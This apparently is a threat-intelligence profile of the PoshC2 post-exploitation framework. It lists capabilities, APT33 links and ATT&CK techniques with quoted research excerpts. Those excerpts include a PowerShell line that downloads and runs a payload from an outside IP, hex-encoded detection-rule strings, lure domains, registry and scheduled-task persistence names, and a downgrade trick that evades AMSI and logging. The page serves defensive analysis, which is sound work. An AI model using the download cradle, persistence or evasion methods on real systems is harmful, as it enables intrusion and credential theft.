PoshC2
- Type
- Backdoor
- Capabilities
- Credential theftKeyloggingPersistencePrivilege escalationLateral movementPost exploitationDefense evasionReconnaissanceProcess injectionSpoofing
- Delivery
- Lure
- Platforms
- Windows
PoshC2 is a publicly available, Python-based command-and-control and post-exploitation framework used in security testing and abused by threat actors. It supports multiple agent formats and cross-platform operation, with extensively documented Windows capabilities. Its modules provide credential theft, keylogging, network configuration discovery, process injection, privilege escalation, lateral movement, and persistence.
PoshC2 incorporates a Mimikatz implementation for extracting credentials from memory and modules for finding passwords in local and remote files. It can capture credentials through spoofed Outlook authentication prompts, enumerate network adapters, and compress data into ZIP archives. Lateral-movement capabilities include pass-the-hash authentication and an EternalBlue SMB exploitation module. It also provides local privilege-escalation exploits and multiple UAC bypass methods. Process-injection functionality includes PowerShell injection modules and reflective payload loading.
Windows persistence mechanisms include registry-based payload storage and automatic execution, scheduled tasks, and WMI event subscriptions. PowerShell launchers can execute encoded scripts in hidden, noninteractive sessions. PoshC2 has been associated with APT33 operations using employment-themed lures and JavaScript or HTA-based payloads. Other observed deployment chains have used embedded HTA content to retrieve PowerShell scripts or SystemBC to deploy PoshC2 into already compromised networks.
Associated vulnerabilities
3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Techniques & procedures
57 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
The content repeatedly states that threat actors 'obtained,' 'acquired,' or 'used' publicly available, open-source, legitimate, or modified tools such as Mimikatz, Cobalt Strike, PsExec, Empire, Impacket, and many others.
Initial Access
1 technique
Initial Access
ref = " http://www.rewterz.com/rewterz-news/rewterz-threat-alert-iranian-apt-uses-job-scams-to-lure-targets " ... world-jobs[.]org global-careers[.]org dyn-intl[.]world-careers[.]org raytheonjobs[.]serveblog[.]net
Execution
9 techniques
Execution
The content repeatedly describes threat actors and malware using WMI/WMIC/wmiexec for remote execution, lateral movement, discovery, persistence, and administrative actions; e.g., 'APT41 used WMI in several ways, including for execution of commands via WMIEXEC as well as for persistence via PowerSploit' and 'Scattered Spider used Windows Management Instrumentation (WMI) to move laterally via Impacket.'
Persistence matrix 1 Technique Count Frameworks Scheduled Task/Job 7/10
This payload is then triggered by either: ... A Scheduled Task, also with the name IEUpdate
$ js_date = / \[ datetime \] ::ParseExact ... $ js_crypt = " System.Security.Cryptography " ... $ js_proxy = " $proxyurl = " ...
rule poshc2_apt_33_2019 ... $ hta_powershell = " 706f7765727368656c6c2e657865 " wide ascii
Execution matrix 1 Technique Count Frameworks Windows Command Shell 10/10
Annotations ID Technique Tactic T1204.003 Malicious Image Execution Default Configuration
To move laterally within the compromised environment and deploy these tools, attackers used multiple techniques, including: Using the legitimate PsExec tool
Now we have a primitive for obtaining write-access to a trusted process’s files. The next step is to weaponize it. This will involve backdooring the .pyc files themselves.
Persistence
7 techniques
Persistence
Persistence matrix 1 Technique Count Frameworks Scheduled Task/Job 7/10
This payload is then triggered by either: ... A Scheduled Task, also with the name IEUpdate
Each of these installs a PowerShell.exe one liner payload to the registry in the key at HKCU\Software\Microsoft\Windows\CurrentVersion\themes with a name Wallpaper777, Wallpaper555 or Wallpaper666
Persistence matrix 2 Technique Count Framework Windows Service 4/10
Persistence matrix 2 Technique Count Framework WMI Event Subscription 4/10
This payload is then triggered by either: A registry key at HKCU\Software\Microsoft\Windows\CurrentVersion\run with the name IEUpdate ... A shortcut file placed at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\IEUpdate.lnk
These methods included: Creating a service Saving a shortcut (in the form of an LNK file) to the tool in the Startup folder
Privilege Escalation
10 techniques
Privilege Escalation
Persistence matrix 1 Technique Count Frameworks Scheduled Task/Job 7/10
This payload is then triggered by either: ... A Scheduled Task, also with the name IEUpdate
if we find a process that should not have this DLL loaded, particularly if it is an unmanaged code binary (so not .NET) then it is highly likely that this is a process that has been injected into by a PowerShell implant, PoshC2 or otherwise.
APT28 has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263 to escalate privileges. ... APT29 has exploited CVE-2021-36934 to escalate privileges on a compromised host. ... multiple groups/tools exploit various CVEs to escalate privileges.
Both tools first attempt to use “named pipe impersonation” to achieve SYSTEM privileges. This involves creating a Windows Service to execute as NT AUTHORITY\SYSTEM and feeding data to it through a named pipe that is randomly created by the malicious payload.
Persistence matrix 2 Technique Count Framework Windows Service 4/10
Persistence matrix 2 Technique Count Framework WMI Event Subscription 4/10
This payload is then triggered by either: A registry key at HKCU\Software\Microsoft\Windows\CurrentVersion\run with the name IEUpdate ... A shortcut file placed at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\IEUpdate.lnk
These methods included: Creating a service Saving a shortcut (in the form of an LNK file) to the tool in the Startup folder
The content repeatedly describes malware and threat actors that 'bypass UAC,' 'perform UAC bypass,' or use specific Windows components such as fodhelper.exe, eventvwr.exe, sdclt.exe, CMSTPLUA COM interface, SilentCleanup, and registry hijacks to gain elevated privileges.
Stealth
10 techniques
Stealth
As part of the attacks, the threat actor packed the C# PoshC2 implants with a packer written in the Nim programming language.
The threat actor disguised the tools used in these operations as legitimate processes. This included creating an identical icon, file signature, process name and path as the legitimate file would use.
if we find a process that should not have this DLL loaded, particularly if it is an unmanaged code binary (so not .NET) then it is highly likely that this is a process that has been injected into by a PowerShell implant, PoshC2 or otherwise.
Both tools first attempt to use “named pipe impersonation” to achieve SYSTEM privileges. This involves creating a Windows Service to execute as NT AUTHORITY\SYSTEM and feeding data to it through a named pipe that is randomly created by the malicious payload.
The PowerShell implant supports full PowerShell execution from any process (here netsh.exe) by loading System.Management.Automation.dll.
$ hta_unescape = " %64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65..." ... $ hta_hex = " 202f7720312049455820284e65772d4f626a656374204e65742e576562436c69656e74292e446f776e6c6f6164537472696e6728...
Some of the more common payloads that are dropped on targets are the PoshC2 executables and DLLs that can be run using rundll32.exe.
The packer the attacker used on some payloads does not execute the PoshC2 implant unless the host machine is part of an Active Directory domain. This behavior likely serves as an anti-analysis mechanism.
Now we have a primitive for obtaining write-access to a trusted process’s files. The next step is to weaponize it. This will involve backdooring the .pyc files themselves.
The C# implant has the ability to load compiled binaries into memory over C2 and run them, which is extremely powerful.
Defense Impairment
3 techniques
Defense Impairment
Each of these installs a PowerShell.exe one liner payload to the registry in the key at HKCU\Software\Microsoft\Windows\CurrentVersion\themes with a name Wallpaper777, Wallpaper555 or Wallpaper666
The threat actor copies signatures from legitimate applications to forge file signatures, to disguise their tool set and mask their malicious activities.
if PowerShell v2.0 is available on the target then a downgrade attack can be performed and PowerShell 2.0 used, bypassing Constrained Language mode, ScriptBlock logging, AMSI and other controls added in v5.0.
Credential Access
7 techniques
Credential Access
Multiple actors and tools are described as using Mimikatz/Windows Credential Editor/LaZagne/ProcDump to “dump credentials,” often by targeting LSASS memory (e.g., “used Mimikatz to capture and use legitimate credentials,” “dumped the LSASS process memory using the MiniDump function,” “injecting itself into lsass.exe”).
Sandworm Team used BlackEnergy’s network sniffer module to discover user credentials being sent over the network...; APT33 has used SniffPass to collect credentials by sniffing network traffic; ArcaneDoor included network packet capture and sniffing...; multiple tools (CASTLETAP, Impacket, Empire, PoshC2, etc.) described as sniffing/packet capture.
The content is a catalog of malware families and threat actors that 'can perform keylogging,' 'log keystrokes,' 'capture keystrokes,' or use 'keylogger' modules/tools.
"Sandworm Team used a script to attempt RPC authentication against a number of hosts"; "Agrius engaged in various brute forcing activities via SMB"; "Chaos conducts brute force attacks against SSH services to gain initial access"; "Fox Kitten has brute forced RDP credentials"; "Turla may attempt to connect ... using net use commands and a predefined list ... of passwords."
"...extract credentials from configuration or support files." / "...search for files containing passwords." / "...obtained administrative credentials by browsing through local files..."
"PoshC2 can decrypt passwords stored in the RDCMan configuration file." / "Volt Typhoon has attempted to obtain credentials from OpenSSH, realvnc, and PuTTY."
AADInternals can gather unsecured credentials for Azure AD services, such as Azure AD Connect, from a local machine... Agent Tesla has the ability to extract credentials from configuration or support files... APT33 has used a variety of publicly available tools like LaZagne to gather credentials.
Discovery
9 techniques
Discovery
"actors used the following command ... to obtain information about services: net start"; "APT1 used the commands net start and tasklist to get a listing of the services on the system"; "OilRig has used sc query on a victim to gather information about services"; "Indrik Spider has used the win32_service WMI class to retrieve a list of services"
AdFind can extract subnet information from Active Directory; actors used ipconfig /all after exploiting a machine; numerous malware and groups used ipconfig, ifconfig, arp, route, netsh, nbtstat, NBTscan, and related APIs to gather IP, MAC, DNS, DHCP, gateway, proxy, domain, ARP cache, routing, and adapter details.
Sandworm Team used BlackEnergy’s network sniffer module to discover user credentials being sent over the network...; APT33 has used SniffPass to collect credentials by sniffing network traffic; ArcaneDoor included network packet capture and sniffing...; multiple tools (CASTLETAP, Impacket, Empire, PoshC2, etc.) described as sniffing/packet capture.
The content repeatedly describes threat actors and malware performing network scanning, port scanning, service enumeration, OS fingerprinting, and identifying open ports/services across victim environments.
The content repeatedly describes malware and threat actors collecting host details such as hostname, OS version, architecture, CPU, memory, BIOS, language, and other machine characteristics; e.g., "Action RAT has the ability to collect the hostname, OS version, and OS architecture of an infected host."
The content is a long ATT&CK-style listing of groups and malware that can 'list files and directories,' 'search for files,' 'enumerate drives,' 'gather file metadata,' or 'browse file systems' on compromised hosts.
Multiple actors and tools are described enumerating domain users/admins via Windows net commands (e.g., net user /domain, net group "Domain Admins" /domain), LDAP/AD queries (e.g., Get-ADUser, Get-ADGroupMember), and AD enumeration utilities (e.g., AdFind, BloodHound, AD Explorer).
AdFind can enumerate domain users. APT41 used built-in net commands to enumerate domain administrator users. BloodHound can collect information about domain users, including identification of domain admin accounts.
The packer the attacker used on some payloads does not execute the PoshC2 implant unless the host machine is part of an Active Directory domain. This behavior likely serves as an anti-analysis mechanism.
Lateral Movement
5 techniques
Lateral Movement
To move laterally within the compromised environment and deploy these tools, attackers used multiple techniques, including: Creating remote services
To move laterally within the compromised environment and deploy these tools, attackers used multiple techniques, including: Executing through Distributed Component Object Model (DCOM)
"APT28 exploited a Windows SMB Remote Code Execution Vulnerability to conduct lateral movement"; "Emotet has been seen exploiting SMB via a vulnerability exploit like EternalBlue (MS17-010) to achieve lateral movement and propagation"; "WannaCry uses an exploit in SMBv1 to spread itself to other remote systems" | "Ember Bear has used exploits for vulnerabilities such as MS17-010, also known as Eternal Blue"; "NotPetya can use... EternalBlue"; "TrickBot utilizes EternalBlue"; "Wizard Spider has exploited or attempted to exploit... EternalBlue (MS17-010)"
The threat actor stole user credentials for the infected networks and used them to set up a proxy.
“The APT1 group is known to have used pass the hash.” / “APT28 has used pass the hash for lateral movement.” / “CrackMapExec can pass the hash to authenticate via SMB.” / “Mimikatz's SEKURLSA::Pth module can impersonate a user, with only a password hash…”
Collection
3 techniques
Collection
The content is a catalog of malware families and threat actors that 'can perform keylogging,' 'log keystrokes,' 'capture keystrokes,' or use 'keylogger' modules/tools.
Agrius used a custom tool, sql.net4.exe, to query SQL databases and then identify and extract personally identifiable information... AppleSeed has automatically collected data from USB drives, keystrokes, and screen images before exfiltration... Ember Bear engages in mass collection from compromised systems during intrusions.
Multiple actors and tools are described as using 7-Zip/WinRAR/zip/tar/gzip/makecab/PowerShell Compress-Archive to compress (often password-protect/encrypt) collected data prior to exfiltration (e.g., “used 7zip to archive extracted data in preparation for exfiltration”, “created password-protected RAR archives prior to exfiltration”, “used built-in PowerShell capabilities (Compress-Archive cmdlet) to compress collected data”).
Command and Control
7 techniques
Command and Control
Hunting C2/Adversaries Infrastructure with Shodan and Censys ... My research Cobalt Strike C2 Metasploit/MSF Covenant C2 Deimos C2 Posh C2 Brute Ratel C4 Mythic C2 Sliver C2 ... Night Hawk C2 NimPlant C2 ShadowPad C2 Infrastructure Async Rat C2 Infrastructure Meterpreter C2 Infrastructure
The content is a long ATT&CK-style listing showing numerous malware families and threat groups that 'use HTTP,' 'use HTTPS,' 'HTTP POST requests,' 'HTTP GET requests,' or 'HTTP/S' for command and control communications.
An experienced operator will not expose their C2 server to the internet, but will instead use a proxy server with a valid certificate and filter firewall traffic to the C2 server that is not from that proxy
"APT41 used a tool called CLASSFON to covertly proxy network communications." / "BADCALL functions as a proxy server between the victim and C2 server." / "Sandworm Team's BCS-server tool can create an internal proxy server to redirect traffic..."
the flexibility of the protocol allows for traffic to be hidden and routed through legitimate websites using techniques such as Domain Fronting and reverse proxies.
... IEX (New-Object Net.WebClient).DownloadString('http://5.252.178.20/raytheon2-jobs.jpg') ...
SystemBC was used to push CobaltStrike and PoshC2.
Observables
20 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
82 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.